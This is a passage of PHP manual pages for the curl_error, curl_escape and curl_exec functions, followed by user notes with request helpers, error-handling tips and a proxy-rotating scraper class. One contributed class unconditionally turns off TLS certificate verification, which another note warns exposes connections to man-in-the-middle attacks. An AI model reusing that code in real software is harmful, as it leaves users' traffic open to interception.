CURLE_HTTP_PORT_FAILED => 45
CURLE_BAD_PASSWORD_ENTERED => 46
CURLE_TOO_MANY_REDIRECTS => 47
CURLE_UNKNOWN_TELNET_OPTION => 48
CURLE_TELNET_OPTION_SYNTAX => 49
CURLE_OBSOLETE => 50
CURLE_SSL_PEER_CERTIFICATE => 51
CURLE_GOT_NOTHING => 52
CURLE_SSL_ENGINE_NOTFOUND => 53
CURLE_SSL_ENGINE_SETFAILED => 54
CURLE_SEND_ERROR => 55
CURLE_RECV_ERROR => 56
CURLE_SHARE_IN_USE => 57
CURLE_SSL_CERTPROBLEM => 58
CURLE_SSL_CIPHER => 59
CURLE_SSL_CACERT => 60
CURLE_BAD_CONTENT_ENCODING => 61
CURLE_LDAP_INVALID_URL => 62
CURLE_FILESIZE_EXCEEDED => 63
CURLE_FTP_SSL_FAILED] => 64
david at liip dot ch 09-Dec-2011 11:40
you should look on http://php.net/manual/en/curl.constants.php for the error codes, not on the linked official curl doc. some of the error codes are different, at least the one mentioned on the other page:

in PHP the curl error number 28 is called

CURLE_OPERATION_TIMEOUTED

while in the official site is:

CURLE_OPERATION_TIMEDOUT
denis at reddodo dot com 28-Mar-2011 12:10
if someone need more information about curl errors
<?php
$error_codes=array(
[1] => 'CURLE_UNSUPPORTED_PROTOCOL',
[2] => 'CURLE_FAILED_INIT',
[3] => 'CURLE_URL_MALFORMAT',
[4] => 'CURLE_URL_MALFORMAT_USER',
[5] => 'CURLE_COULDNT_RESOLVE_PROXY',
[6] => 'CURLE_COULDNT_RESOLVE_HOST',
[7] => 'CURLE_COULDNT_CONNECT',
[8] => 'CURLE_FTP_WEIRD_SERVER_REPLY',
[9] => 'CURLE_REMOTE_ACCESS_DENIED',
[11] => 'CURLE_FTP_WEIRD_PASS_REPLY',
[13] => 'CURLE_FTP_WEIRD_PASV_REPLY',
[14]=>'CURLE_FTP_WEIRD_227_FORMAT',
[15] => 'CURLE_FTP_CANT_GET_HOST',
[17] => 'CURLE_FTP_COULDNT_SET_TYPE',
[18] => 'CURLE_PARTIAL_FILE',
[19] => 'CURLE_FTP_COULDNT_RETR_FILE',
[21] => 'CURLE_QUOTE_ERROR',
[22] => 'CURLE_HTTP_RETURNED_ERROR',
[23] => 'CURLE_WRITE_ERROR',
[25] => 'CURLE_UPLOAD_FAILED',
[26] => 'CURLE_READ_ERROR',
[27] => 'CURLE_OUT_OF_MEMORY',
[28] => 'CURLE_OPERATION_TIMEDOUT',
[30] => 'CURLE_FTP_PORT_FAILED',
[31] => 'CURLE_FTP_COULDNT_USE_REST',
[33] => 'CURLE_RANGE_ERROR',
[34] => 'CURLE_HTTP_POST_ERROR',
[35] => 'CURLE_SSL_CONNECT_ERROR',
[36] => 'CURLE_BAD_DOWNLOAD_RESUME',
[37] => 'CURLE_FILE_COULDNT_READ_FILE',
[38] => 'CURLE_LDAP_CANNOT_BIND',
[39] => 'CURLE_LDAP_SEARCH_FAILED',
[41] => 'CURLE_FUNCTION_NOT_FOUND',
[42] => 'CURLE_ABORTED_BY_CALLBACK',
[43] => 'CURLE_BAD_FUNCTION_ARGUMENT',
[45] => 'CURLE_INTERFACE_FAILED',
[47] => 'CURLE_TOO_MANY_REDIRECTS',
[48] => 'CURLE_UNKNOWN_TELNET_OPTION',
[49] => 'CURLE_TELNET_OPTION_SYNTAX',
[51] => 'CURLE_PEER_FAILED_VERIFICATION',
[52] => 'CURLE_GOT_NOTHING',
[53] => 'CURLE_SSL_ENGINE_NOTFOUND',
[54] => 'CURLE_SSL_ENGINE_SETFAILED',
[55] => 'CURLE_SEND_ERROR',
[56] => 'CURLE_RECV_ERROR',
[58] => 'CURLE_SSL_CERTPROBLEM',
[59] => 'CURLE_SSL_CIPHER',
[60] => 'CURLE_SSL_CACERT',
[61] => 'CURLE_BAD_CONTENT_ENCODING',
[62] => 'CURLE_LDAP_INVALID_URL',
[63] => 'CURLE_FILESIZE_EXCEEDED',
[64] => 'CURLE_USE_SSL_FAILED',
[65] => 'CURLE_SEND_FAIL_REWIND',
[66] => 'CURLE_SSL_ENGINE_INITFAILED',
[67] => 'CURLE_LOGIN_DENIED',
[68] => 'CURLE_TFTP_NOTFOUND',
[69] => 'CURLE_TFTP_PERM',
[70] => 'CURLE_REMOTE_DISK_FULL',
[71] => 'CURLE_TFTP_ILLEGAL',
[72] => 'CURLE_TFTP_UNKNOWNID',
[73] => 'CURLE_REMOTE_FILE_EXISTS',
[74] => 'CURLE_TFTP_NOSUCHUSER',
[75] => 'CURLE_CONV_FAILED',
[76] => 'CURLE_CONV_REQD',
[77] => 'CURLE_SSL_CACERT_BADFILE',
[78] => 'CURLE_REMOTE_FILE_NOT_FOUND',
[79] => 'CURLE_SSH',
[80] => 'CURLE_SSL_SHUTDOWN_FAILED',
[81] => 'CURLE_AGAIN',
[82] => 'CURLE_SSL_CRL_BADFILE',
[83] => 'CURLE_SSL_ISSUER_ERROR',
[84] => 'CURLE_FTP_PRET_FAILED',
[84] => 'CURLE_FTP_PRET_FAILED',
[85] => 'CURLE_RTSP_CSEQ_ERROR',
[86] => 'CURLE_RTSP_SESSION_ERROR',
[87] => 'CURLE_FTP_BAD_FILE_LIST',
[88] => 'CURLE_CHUNK_FAILED');

?>
bozo_z_clown at yahoo dot com 15-Jun-2009 12:40
Note that you can detect errors using curl_multi_info_read() in the curl_multi_exec() loop that don't show up later using curl_errno().  This seems particularly true of connection errors.
Jacques Manukyan 28-Dec-2007 05:43
The error codes come directly from the curl source code. Specifically, look at the curl.h file and it will tell you exactly what each returned code does.

Most of these codes are cryptic but at least you can get a clue as to what the errors are.

Here is a quick snippet of what the errors in the curl.h look like:

  CURLE_OK = 0,
  CURLE_UNSUPPORTED_PROTOCOL,    /* 1 */
  CURLE_FAILED_INIT,             /* 2 */
  CURLE_URL_MALFORMAT,           /* 3 */
  CURLE_URL_MALFORMAT_USER,      /* 4 - NOT USED */
  CURLE_COULDNT_RESOLVE_PROXY,   /* 5 */
  CURLE_COULDNT_RESOLVE_HOST,    /* 6 */
  CURLE_COULDNT_CONNECT,         /* 7 */
  CURLE_FTP_WEIRD_SERVER_REPLY,  /* 8 */

Note that code 0 means its not an error, it means success.


Return a string containing the last error for the current session

  • « curl_errno
  • curl_escape »
  • PHP Manual
  • cURL Functions
  • Return a string containing the last error for the current session

curl_error

(PHP 4 >= 4.0.3, PHP 5)

curl_error — Return a string containing the last error for the current session

Description

string curl_error ( resource $ch )

Returns a clear text error message for the last cURL operation.

Parameters

ch

A cURL handle returned by curl_init().

Return Values

Returns the error message or '' (the empty string) if no error occurred.

Examples

Example #1 curl_error() example

<?php
// Create a curl handle to a non-existing location
$ch = curl_init('http://404.php.net/');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

if(curl_exec($ch) === false)
{
    echo 'Curl error: ' . curl_error($ch);
}
else
{
    echo 'Operation completed without any errors';
}

// Close handle
curl_close($ch);
?>

See Also

  • curl_errno() - Return the last error number
  • » Curl error codes

User Contributed Notes

patrick at ibuildings dot nl 03-May-2013 08:13
If you want to fetch the error message, make sure you fetch it before you close the current cURL session or the error message will be reset to an empty string.
mail at erwindoornbos dot nl 20-Apr-2009 09:23
While working with curl i got the following error: "empty reply from server".

Searching Google gave no solutions. So i just tried to replace the spaces from the url to %20 and it worked!

Hope this helps someone.
paul at paulmcgarry dot com 25-Nov-2008 02:00
For a 404 response to actually trigger an error as the example seems to be trying to demonstrate the following option should be set:

curl_setopt($ch,CURLOPT_FAILONERROR,true);

As per http://curl.haxx.se/libcurl/c/libcurl-errors.html

CURLE_HTTP_RETURNED_ERROR (22)
This is returned if CURLOPT_FAILONERROR is set TRUE and the HTTP server returns an error code that is >= 400. (This error code was formerly known as CURLE_HTTP_NOT_FOUND.)


URL encodes the given string

  • « curl_error
  • curl_exec »
  • PHP Manual
  • cURL Functions
  • URL encodes the given string

curl_escape

(PHP 5 >= 5.5.0)

curl_escape — URL encodes the given string

Description

string curl_escape ( resource $ch , string $str )

This function URL encodes the given string according to » RFC 3986.

Parameters

ch

A cURL handle returned by curl_init().

str

The string to be encoded.

Return Values

Returns escaped string or FALSE on failure.

Examples

Example #1 curl_escape() example

<?php
// Create a curl handle
$ch = curl_init();

// Escape a string used as a GET parameter
$location = curl_escape($ch, 'Hofbräuhaus / München');
// Result: Hofbr%C3%A4uhaus%20%2F%20M%C3%BCnchen

// Compose an URL with the escaped string
$url = "http://example.com/add_location.php?location={$location}";
// Result: http://example.com/add_location.php?location=Hofbr%C3%A4uhaus%20%2F%20M%C3%BCnchen

// Send HTTP request and close the handle
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);
?>

See Also

  • curl_unescape() - Decodes the given URL encoded string
  • urlencode() - URL-encodes string
  • rawurlencode() - URL-encode according to RFC 3986
  • » RFC 3986

User Contributed Notes

Franois 11-Oct-2014 06:45
This function is strictly equivalent to rawurlencode().

Internally it uses curl_easy_escape() from libcurl, whose doc says: "This function converts the given input string to an URL encoded string (…). All input characters that are not a-z, A-Z, 0-9, '-', '.', '_' or '~' are converted to their "URL escaped" version (%NN where NN is a two-digit hexadecimal number)."
Nico 29-Sep-2014 10:51
What is difference between this function and urlencode()?


Perform a cURL session

  • « curl_escape
  • curl_file_create »
  • PHP Manual
  • cURL Functions
  • Perform a cURL session

curl_exec

(PHP 4 >= 4.0.2, PHP 5)

curl_exec — Perform a cURL session

Description

mixed curl_exec ( resource $ch )

Execute the given cURL session.

This function should be called after initializing a cURL session and all the options for the session are set.

Parameters

ch

A cURL handle returned by curl_init().

Return Values

Returns TRUE on success or FALSE on failure. However, if the CURLOPT_RETURNTRANSFER option is set, it will return the result on success, FALSE on failure.

Examples

Example #1 Fetching a web page

<?php
// create a new cURL resource
$ch = curl_init();

// set URL and other appropriate options
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_HEADER, 0);

// grab URL and pass it to the browser
curl_exec($ch);

// close cURL resource, and free up system resources
curl_close($ch);
?>

See Also

  • curl_multi_exec() - Run the sub-connections of the current cURL handle

User Contributed Notes

hablutzel1 at gmail dot com 24-May-2014 02:04
Be always aware that CURLOPT_SSL_VERIFYPEER set to FALSE or 0 should never be used for production as it makes the link inmediately vulnerable to man-in-the-middle attack, still you can use it during development, but I would suggest that only if you KNOW what are you doing, otherwise spend some more time making requests to HTTPS sites work without resorting to set that option to FALSE or 0.
Manu Manjunath 12-Dec-2013 10:24
If you want to get contents of a page through HTTP GET or POST,  you can write a small function like below.

<?php
/**
 * Read entire contents of a URL in a string
 * @param string $url URL to fetch data from
 * @param mixed $params Parameters to the URL, typically an array. In case of POST, can be a string
 * @param string $method HTTP method - can be 'GET' (default) or 'POST'
 * @return mixed Contents of the webpage. Returns <i>false</i> in case of failure.
 */
function url_get_contents($url, $params = null, $method = 'GET') {
    $contents = false;
    if (!in_array($method, array('GET', 'POST'))) {
        error_log(__FUNCTION__ . ": Unknown method '$method'");
        return false;
    }
    if ($method == 'GET') {
        if (is_array($params) && count($params) > 0) {
            if ($params === array_values($params)) {
                error_log(__FUNCTION__ . ": Numerical array recieved for argument '\$params' (assoc array expected)");
                return false;
            }
            else {
                $url .= '?' . http_build_query($params);
            }
        }
        elseif (!is_null($params)) {
            error_log(__FUNCTION__ . ": If you're making a GET request, argument \$params must be null or assoc array.");
            return false;
        }
    }
    $ch = curl_init($url);
    if ($ch !== false) {
        curl_setopt_array($ch, array(
            CURLOPT_HEADER => false,
            CURLOPT_RETURNTRANSFER => true,
        ));
        if ($method == 'POST') {
            curl_setopt($ch, CURLOPT_POST, true);
            if (is_string($params) || is_array($params)) {
                curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
            }
            else {
                error_log(__FUNCTION__ . ": Argument \$params should be an array of parameters or (if you want to send raw data) a string");
                return false;
            }
        }
        $contents = curl_exec($ch);
        curl_close($ch);
    }
    return $contents;
}
bertram dot pereira at gmail dot com 06-Aug-2012 08:48
There will be times when you need to get the response from curl_exec and capture the transfer - this is not very well documented but you can do so with the CURLOPT_RETURNTRANSFER Option

curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);

Bert
tolas777 at gmail dot com 11-Feb-2011 05:27
I was having a problem, for almost a week, of curl_exec() freezing/hanging when I made a request with it to a page that spends over an hour converting a large video file, and only afterwards sends control-data back to the calling script.

I'm using windows 7, WampServer-2.1d-64.exe, PHP 5.3.4, libcurl-7.21.3.

Here's the final solution;

On Fri, Feb 11, 2011 at 1:32 PM, Daniel Stenberg <daniel-of-haxx.se> wrote:
> On Fri, 11 Feb 2011, Tolas Anon wrote:
>
>>> It is also very easy for an application to enable the options as I've
>>> shown.
>>
>> Just not for the platforms i use, apparently.. :(
>
> Why not? A quick search for "tcp keepalive windows" shows this:
> http://msdn.microsoft.com/en-us/library/ms819735.aspx

This fixed my problem in the simple test AND in my application!
No need to send keep-alive bytes on the text/html level either.

I just added the "KeepAliveTime" setting with windows 7 regedit.exe in
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/services/Tcpip, as a
REG_DWORD value, set it to decimal 25000 (so 25 seconds), rebooted,
and it all works as i want it now..

Note that windows registry entries key names are case-sensitive, wrong
casing and they'll be deleted on restart.

Lots of thanks, Daniel. I would've never solved this on my own..

------------------------------------------------------
(now useless) details at:

http://curl.haxx.se/mail/lib-2011-02/0101.html

http://readlist.com/lists/lists.php.net/php-general/16/81195.html
David from Code2Design.com 28-Jun-2010 04:44
Just in case anyone is looking for a a couple of simple functions [to help automate cURL processes for POST and GET queries] I thought I'd post these.

<?php

/**
 * Send a POST requst using cURL
 * @param string $url to request
 * @param array $post values to send
 * @param array $options for cURL
 * @return string
 */
function curl_post($url, array $post = NULL, array $options = array())
{
    $defaults = array(
        CURLOPT_POST => 1,
        CURLOPT_HEADER => 0,
        CURLOPT_URL => $url,
        CURLOPT_FRESH_CONNECT => 1,
        CURLOPT_RETURNTRANSFER => 1,
        CURLOPT_FORBID_REUSE => 1,
        CURLOPT_TIMEOUT => 4,
        CURLOPT_POSTFIELDS => http_build_query($post)
    );

    $ch = curl_init();
    curl_setopt_array($ch, ($options + $defaults));
    if( ! $result = curl_exec($ch))
    {
        trigger_error(curl_error($ch));
    }
    curl_close($ch);
    return $result;
}

/**
 * Send a GET requst using cURL
 * @param string $url to request
 * @param array $get values to send
 * @param array $options for cURL
 * @return string
 */
function curl_get($url, array $get = NULL, array $options = array())
{
    $defaults = array(
        CURLOPT_URL => $url. (strpos($url, '?') === FALSE ? '?' : ''). http_build_query($get),
        CURLOPT_HEADER => 0,
        CURLOPT_RETURNTRANSFER => TRUE,
        CURLOPT_TIMEOUT => 4
    );

    $ch = curl_init();
    curl_setopt_array($ch, ($options + $defaults));
    if( ! $result = curl_exec($ch))
    {
        trigger_error(curl_error($ch));
    }
    curl_close($ch);
    return $result;
}
?>
ivanargulo at NOSPAM gmail dot com 12-Feb-2010 12:41
If having problems with special chars or entities (like á, ä, à, etc.), using the ISO encode, just decode the values given with the function utf8_decode().

For example:

The returned string is the following:

<xml><name>IvÃ¡n</name></xml>

Using utf8_decode, the result in ISO is

<xml><name>Iván</name></xml>
petermiller1986[nospam] at gmail dot com 30-Jul-2009 10:57
so far i have not come across any code or library file that will
extract cookie information from a http header, so i've written
one.

there are two files:
file1.php - acts as server and sets the cookies
file2.php - acts as browser and retrieves the cookies set by file1

/*****file1.php****/
<?php
/*set 3 cookies at the end of the execution of this script*/

setcookie("cookie1","cookie 1 data", time() - 123123);
setcookie("cookie2","cookie 2 data", time() + 54326);
setcookie("cookie3","cookie 3 data", time());
?>
/****end file1.php**/

/*****file2.php****/
<?php
$url = "http://[host][uri]/file1.php"; /*insert desired host and
uri*/
$browser_id = "some crazy browser";
$curl_handle = curl_init();
$options = array
(
    CURLOPT_URL=>$url,
    CURLOPT_HEADER=>true,
    CURLOPT_RETURNTRANSFER=>true,
    CURLOPT_FOLLOWLOCATION=>true,
    CURLOPT_USERAGENT=>$browser_id
);
curl_setopt_array($curl_handle,$options);
$server_output = curl_exec($curl_handle);
curl_close($curl_handle);

/*construct the http search pattern for cookies*/
$pattern  = "/Set-Cookie:";
$pattern .= "(?P<name>.*?)=(?P<value>.*?); ";
$pattern .= "expires=(?P<expiry_dayname>\w+), ";
$pattern .= "(?P<expiry_day>\d+)-
(?P<expiry_month>\w+)-(?P<expiry_year>\d+) ";
$pattern .= "(?P<expiry_hour>\d+):
(?P<expiry_minute>\d+):(?P<expiry_second>\d+) ";
$pattern .= "(?P<expiry_zone>\w+)/";
preg_match_all($pattern,$server_output,$matches);

$table_string = "
<h1>cookie information table</h1>
<table border='1'>
    <tr>
        <td>cookie name</td>
        <td>value</td>
        <td>expiry day</td>
        <td>expiry date</td>
        <td>expiry time</td>
        <td>expiry timezone</td>
    </tr>
";
$i=0;
foreach($matches[name] as $cookie_name)
{
    $table_string .= "
    <tr>
        <td>$cookie_name</td>

        <td>{$matches[value][$i]}</td>

        <td>{$matches[expiry_dayname][$i]}</td>

        <td>{$matches[expiry_day][$i]}-
        {$matches[expiry_month][$i]}-
        {$matches[expiry_year][$i]}</td>

        <td>{$matches[expiry_hour][$i]}:
        {$matches[expiry_minute][$i]}:
        {$matches[expiry_second][$i]}</td>

        <td>{$matches[expiry_zone][$i]}</td>
    </tr>
    ";
    $i++;
}
$table_string .= "</table>";
echo $table_string;
?>
/****end file2.php**/

i based this code on the following http header:
(obtained by going: echo $server_output; in file2.php)

HTTP/1.1 200 OK Date: Thu, 30 Jul 2009 07:10:07 GMT
Server: Apache/2.2.11 (Win32) DAV/2 mod_ssl/2.2.11
OpenSSL/0.9.8i PHP/5.2.9 X-Powered-By: PHP/5.2.9
Set-Cookie: cookie1=cookie+1+data; expires=Wed,
29-Jul-2009 03:23:27 GMT Set-Cookie
cookie2=cookie+2+data; expires=Wed, 29-Jul-2009 03:23:27
GMT Set-Cookie: cookie3=cookie+3+data; expires=Wed,
29-Jul-2009 03:23:27 GMT Content-Length: 196
Content-Type: text/html

if your header differs from this one then $pattern in file2.php
will need to be modified accordingly. hopefully this code will save
you a lot of time though!
Mark Omohundro, ajamyajax.com 14-Nov-2008 07:09
Just a simple curl_exec() example with a twist: I use the familiar http response status code returned from curl_getinfo() to put either data, or a custom error message + curl_error() into a single string.  I find this useful when the response ends up in a <div> or <span> tag.

<?php
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
...

$output = curl_exec($ch);
$info = curl_getinfo($ch);

if ($output === false || $info['http_code'] != 200) {
  $output = "No cURL data returned for $url [". $info['http_code']. "]";
  if (curl_error($ch))
    $output .= "\n". curl_error($ch);
  }
else {
  // 'OK' status; format $output data if necessary here:
  ...
}
// then return or display the single string $output
?>
lmshad at wp dot pl dot foo dot bar 29-Jul-2008 07:14
example:
   echo CurlTool::fetchContent('www.onet.pl');
   CurlTool::downloadFile('http://download.gadu-gadu.pl/gg77.exe', 'c:/');

<?php
error_reporting(E_STRICT | E_ALL);
class CurlTool {
    public static $userAgents = array(
        'FireFox3' => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9) Gecko/2008052906 Firefox/3.0',
        'GoogleBot' => 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
        'IE7' => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)',
        'Netscape' => 'Mozilla/4.8 [en] (Windows NT 6.0; U)',
        'Opera' => 'Opera/9.25 (Windows NT 6.0; U; en)'
        );
    public static $options = array(
        CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9) Gecko/2008052906 Firefox/3.0',
        CURLOPT_AUTOREFERER => true,
        CURLOPT_COOKIEFILE => '',
        CURLOPT_FOLLOWLOCATION => true
        );

    private static $proxyServers = array();
    private static $proxyCount = 0;
    private static $currentProxyIndex = 0;

    public static function addProxyServer($url) {
        self::$proxyServers[] = $url;
        ++self::$proxyCount;
    }

    public static function fetchContent($url, $verbose = false) {
        if (($curl = curl_init($url)) == false) {
            throw new Exception("curl_init error for url $url.");
        }

        if (self::$proxyCount > 0) {
            $proxy = self::$proxyServers[self::$currentProxyIndex++ % self::$proxyCount];
            curl_setopt($curl, CURLOPT_PROXY, $proxy);
            if ($verbose === true) {
                echo "Reading $url [Proxy: $proxy] ... ";
            }
        } else if ($verbose === true) {
            echo "Reading $url ... ";
        }

        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt_array($curl, self::$options);

        $content = curl_exec($curl);
        if ($content === false) {
            throw new Exception("curl_exec error for url $url.");
        }

        curl_close($curl);
        if ($verbose === true) {
            echo "Done.\n";
        }

        $content = preg_replace('#\n+#', ' ', $content);
        $content = preg_replace('#\s+#', ' ', $content);

        return $content;
    }

    public static function downloadFile($url, $fileName, $verbose = false) {
        if (($curl = curl_init($url)) == false) {
            throw new Exception("curl_init error for url $url.");
        }

        if (self::$proxyCount > 0) {
            $proxy = self::$proxyServers[self::$currentProxyIndex++ % self::$proxyCount];
            curl_setopt($curl, CURLOPT_PROXY, $proxy);
            if ($verbose === true) {
                echo "Downloading $url [Proxy: $proxy] ... ";
            }
        } else if ($verbose === true) {
            echo "Downloading $url ... ";
        }

        curl_setopt_array($curl, self::$options);

        if (substr($fileName, -1) == '/') {
            $targetDir = $fileName;
            $fileName = tempnam(sys_get_temp_dir(), 'c_');
        }
        if (($fp = fopen($fileName, "wb")) === false) {
            throw new Exception("fopen error for filename $fileName");
        }
        curl_setopt($curl, CURLOPT_FILE, $fp);

        curl_setopt($curl, CURLOPT_BINARYTRANSFER, true);
        if (curl_exec($curl) === false) {
            fclose($fp);
            unlink($fileName);
            throw new Exception("curl_exec error for url $url.");
        } elseif (isset($targetDir)) {
            $eurl = curl_getinfo($curl, CURLINFO_EFFECTIVE_URL);
            preg_match('#^.*/(.+)$#', $eurl, $match);
            fclose($fp);
            rename($fileName, "$targetDir{$match[1]}");
            $fileName = "$targetDir{$match[1]}";
        } else {
            fclose($fp);
        }

        curl_close($curl);
        if ($verbose === true) {
            echo "Done.\n";
        }
        return $fileName;
    }
}
?>
alan at forsyth dot cz 07-Jun-2008 12:59
Great class Roman - just one fix:

Replace the following line:
<?php
if (isset($params['host']) && $params['host'])      $header[]="Host: ".$host;
?>

with this:
<?php
if (isset($params['host']) && $params['host'])      $header[]="Host: " . $params['host'];
?>

CURL automatically creates the host parameter (since it is required for HTTP/1.1 requests), so you don't need to set it. But if you created a custom host parameter, the above bug would cause a '400 Bad Request' response due to invalid host specified.

Also when copying and pasting the class code, make sure that no line breaks occur (for example in the $header and $user_agent definitions etc.). It will still be valid PHP, but the HTTP request will not be valid, and you may get a '400 Bad Request' response from the server.

It took me a little playing around with an HTTP Sniffer before I finally got an HTTP POST request fully working!

Thanks,
Alan
roman dot ivasyuk at gmail dot com 16-Jan-2008 01:11
<?php
class CurlRequest
{
    private $ch;
    /**
     * Init curl session
     *
     * $params = array('url' => '',
     *                    'host' => '',
     *                   'header' => '',
     *                   'method' => '',
     *                   'referer' => '',
     *                   'cookie' => '',
     *                   'post_fields' => '',
     *                    ['login' => '',]
     *                    ['password' => '',]
     *                   'timeout' => 0
     *                   );
     */
    public function init($params)
    {
        $this->ch = curl_init();
        $user_agent = 'Mozilla/5.0 (Windows; U;
Windows NT 5.1; ru; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9';
        $header = array(
        "Accept: text/xml,application/xml,application/xhtml+xml,
text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5",
        "Accept-Language: ru-ru,ru;q=0.7,en-us;q=0.5,en;q=0.3",
        "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7",
        "Keep-Alive: 300");
        if (isset($params['host']) && $params['host'])      $header[]="Host: ".$host;
        if (isset($params['header']) && $params['header']) $header[]=$params['header'];

        @curl_setopt ( $this -> ch , CURLOPT_RETURNTRANSFER , 1 );
        @curl_setopt ( $this -> ch , CURLOPT_VERBOSE , 1 );
        @curl_setopt ( $this -> ch , CURLOPT_HEADER , 1 );

        if ($params['method'] == "HEAD") @curl_setopt($this -> ch,CURLOPT_NOBODY,1);
        @curl_setopt ( $this -> ch, CURLOPT_FOLLOWLOCATION, 1);
        @curl_setopt ( $this -> ch , CURLOPT_HTTPHEADER, $header );
        if ($params['referer'])    @curl_setopt ($this -> ch , CURLOPT_REFERER, $params['referer'] );
        @curl_setopt ( $this -> ch , CURLOPT_USERAGENT, $user_agent);
        if ($params['cookie'])    @curl_setopt ($this -> ch , CURLOPT_COOKIE, $params['cookie']);

        if ( $params['method'] == "POST" )
        {
            curl_setopt( $this -> ch, CURLOPT_POST, true );
            curl_setopt( $this -> ch, CURLOPT_POSTFIELDS, $params['post_fields'] );
        }
        @curl_setopt( $this -> ch, CURLOPT_URL, $params['url']);
        @curl_setopt ( $this -> ch , CURLOPT_SSL_VERIFYPEER, 0 );
        @curl_setopt ( $this -> ch , CURLOPT_SSL_VERIFYHOST, 0 );
        if (isset($params['login']) & isset($params['password']))
            @curl_setopt($this -> ch , CURLOPT_USERPWD,$params['login'].':'.$params['password']);
        @curl_setopt ( $this -> ch , CURLOPT_TIMEOUT, $params['timeout']);
    }

    /**
     * Make curl request
     *
     * @return array  'header','body','curl_error','http_code','last_url'
     */
    public function exec()
    {
        $response = curl_exec($this->ch);
        $error = curl_error($this->ch);
        $result = array( 'header' => '',
                         'body' => '',
                         'curl_error' => '',
                         'http_code' => '',
                         'last_url' => '');
        if ( $error != "" )
        {
            $result['curl_error'] = $error;
            return $result;
        }

        $header_size = curl_getinfo($this->ch,CURLINFO_HEADER_SIZE);
        $result['header'] = substr($response, 0, $header_size);
        $result['body'] = substr( $response, $header_size );
        $result['http_code'] = curl_getinfo($this -> ch,CURLINFO_HTTP_CODE);
        $result['last_url'] = curl_getinfo($this -> ch,CURLINFO_EFFECTIVE_URL);
        return $result;
    }
}
?>

Example of use:
<?php
..........
try
        {
            $params = array('url' => 'http://www.google.com',
            'host' => '',
            'header' => '',
            'method' => 'GET', // 'POST','HEAD'
            'referer' => '',
            'cookie' => '',
            'post_fields' => '', // 'var1=value&var2=value
            'timeout' => 20
            );

            $this->curl->init($params);
            $result = $this->curl->exec();
            if ($result['curl_error'])    throw new Exception($result['curl_error']);
            if ($result['http_code']!='200')    throw new Exception("HTTP Code = ".$result['http_code']);
            if (!$result['body'])        throw new Exception("Body of file is empty");
            ...............
        }
        catch (Exception $e)
        {
                    echo $e->getMessage();
        }
?>
me at lawrencemok dot com 04-Dec-2007 08:52
Note that when you use CURL to POST things....e.g:

curl_setopt($ch, CURLOPT_POSTFIELDS, "string=This is a string");

The data part (e.g. "This is a string") inside the 3rd parameter should be applied with urlencode()

Otherwise, if you intend to send a string like "%2F", you will end up with a "/" on the receiving end, which can cause troubles. (e.g. serialize() data cannot be unserialize() becase of the change in string length).
shanto at ultimawebsolutions dot com 17-Aug-2007 06:01
A function to retrieve the status code of an HTTP request using CURL:

    function getHttpResponseCode($url)
    {
        $ch = @curl_init($url);
        @curl_setopt($ch, CURLOPT_HEADER, TRUE);
        @curl_setopt($ch, CURLOPT_NOBODY, TRUE);
        @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, FALSE);
        @curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
        $status = array();
        $response = @curl_exec($ch);
        preg_match('/HTTP\/.* ([0-9]+) .*/', $response, $status);
        return $status[1];
    }
test at test dot com 13-Aug-2007 03:43
If you see a "0" at the end of the output, you might want to switch to HTTP/1.0:

curl_setopt($ch, CURLOPT_HTTP_VERSION, 1.0);
lukasl at ackleymedia dot com 06-Oct-2006 04:52
Thank you for sharing this.  I was wondering why my result was 1.

To get around this in a safe way, this is how I check if the result is valid.

$ch = curl_init(); /// initialize a cURL session
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true);
$xmlResponse = curl_exec ($ch);
curl_close ($ch);

if (!is_string($xmlResponse) || !strlen($xmlResponse)) {
    return $this->_set_error( "Failure Contacting Server" );
} else {
    return $xmlResponse;
}
04-Oct-2006 10:41
Be careful when using curl_exec() and the CURLOPT_RETURNTRANSFER option. According to the manual and assorted documentation:
Set CURLOPT_RETURNTRANSFER to TRUE to return the transfer as a string of the return value of curl_exec() instead of outputting it out directly.

When retrieving a document with no content (ie. 0 byte file), curl_exec() will return bool(true), not an empty string. I've not seen any mention of this in the manual.

Example code to reproduce this:
<?php

    // fictional URL to an existing file with no data in it (ie. 0 byte file)
    $url = 'http://www.example.com/empty_file.txt';

    $curl = curl_init();

    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_HEADER, false);

    // execute and return string (this should be an empty string '')
    $str = curl_exec($curl);

    curl_close($curl);

    // the value of $str is actually bool(true), not empty string ''
    var_dump($str);

?>
08-Mar-2005 03:12
If you've got problems with curl_exec not working, you should rather check curl_errno and curl_error than using commandline curl, like so:

(since this is easier, and also allows you to check for errors runtime, which is a vital part of any well-design piece of code. ;)

<?php
$creq = curl_init();
curl_setopt($creq, CURLOPT_URL, "http://www.foo.internal");
curl_exec($creq);

/* To quote curl_errno documentation:
     Returns the error number for the last cURL operation on the resource ch, or 0 (zero) if no error occurred. */
if (curl_errno($creq)) {
    print curl_error($creq);
} else {
    curl_close($creq);
}
?>
sybren at thirdtower dot com 01-Jul-2003 04:00
If you see a "0" at the end of the output, you might want to switch to HTTP/1.0:

curl_setopt($ch, CURLOPT_HTTP_VERSION, 1.0);
nagyp at hunaxon dot hu 27-Apr-2003 02:22
fyi:
